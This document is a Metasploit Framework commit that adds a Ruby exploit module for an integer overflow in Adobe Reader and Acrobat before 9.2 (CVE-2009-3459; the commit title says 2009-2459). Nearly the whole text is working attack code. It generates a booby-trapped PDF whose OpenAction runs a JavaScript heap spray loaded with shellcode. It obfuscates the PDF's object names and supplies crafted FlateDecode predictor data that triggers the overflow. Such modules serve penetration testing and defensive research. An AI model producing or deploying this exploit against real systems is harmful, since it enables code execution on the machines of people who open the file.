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add exploit module for cve-2009-2459
git-svn-id: file:///home/svn/framework3/trunk@7893 4d416f70-5f16-0410-b530-b9f4589650da
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Joshua Drake
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',
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'Description' => %q{
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This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
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Acrobat Professional versions before 9.2.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'unknown', # Found in the wild
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# Metasploit version by:
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'jduck'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3459' ],
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[ 'BID', '36600' ],
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[ 'OSVDB', '58729' ],
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[ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ],
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[ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# test results (on Windows XP SP3)
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# reader 7.0.5 - untested
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# reader 7.0.8 - untested
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# reader 7.0.9 - untested
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# reader 7.1.0 - untested
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# reader 7.1.1 - untested
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# reader 8.0.0 - untested
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# reader 8.1.2 - untested
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# reader 8.1.3 - untested
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# reader 8.1.4 - untested
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# reader 8.1.5 - untested
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# reader 8.1.6 - untested
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# reader 9.0.0 - untested
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# reader 9.1.0 - works!
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# reader 9.2 - not vulnerable
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[ 'Adobe Reader Windows Universal (JS Heap Spray)',
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{
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'Size' => ((1024*1024) - 32)
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}
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],
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],
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'DisclosureDate' => 'Oct 08 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Make some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize variables
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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script = %Q|
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var #{rand1} = unescape("#{shellcode}");
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var #{rand2} = unescape("#{nops}");
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while (#{rand2}.length < #{target['Size']})
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#{rand2} += #{rand2};
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#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
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memory = new Array();
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for(i = 0; i < 128; i++)
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{
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memory[i]= #{rand2} + #{rand1};
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}
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# Create the pdf
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pdf = make_pdf(script)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_flate_data()
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# NOTE: this data is from the original, in-the-wild exploit...
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# on 9.1.0 xpsp3, this causes a crash executing 0x70000000
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# that's not exactly a fun address to try to heap spray to
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bpc = 1
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data = "\x00\x00\x20\x00\x00\x00\x10"
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# this way, we can adjust dwords on the heap by 8-bits of data..
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# this leads to eip being around 0x1000xxxx, much more friendly
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bpc = 8
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addend = 9
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data = "\x00" * 64
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data[18,1] = [addend].pack('C')
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data[51,1] = [addend].pack('C')
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return bpc, data
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end
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def make_pdf(js)
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%PDF-1.5" << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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xref << pdf.length
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pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2)
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pdf << nObfu("/Pages ") << ioRef(3)
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pdf << nObfu("/OpenAction ") << ioRef(5)
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pdf << ">>" << endobj
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7)
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pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
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pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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# generate data for inside the flate'd stream
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bits_per_component, data = make_flate_data()
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compressed = Zlib::Deflate.deflate(data)
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xref << pdf.length
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pdf << ioDef(7) << nObfu("<</DecodeParms")
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pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)
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pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length)
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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end
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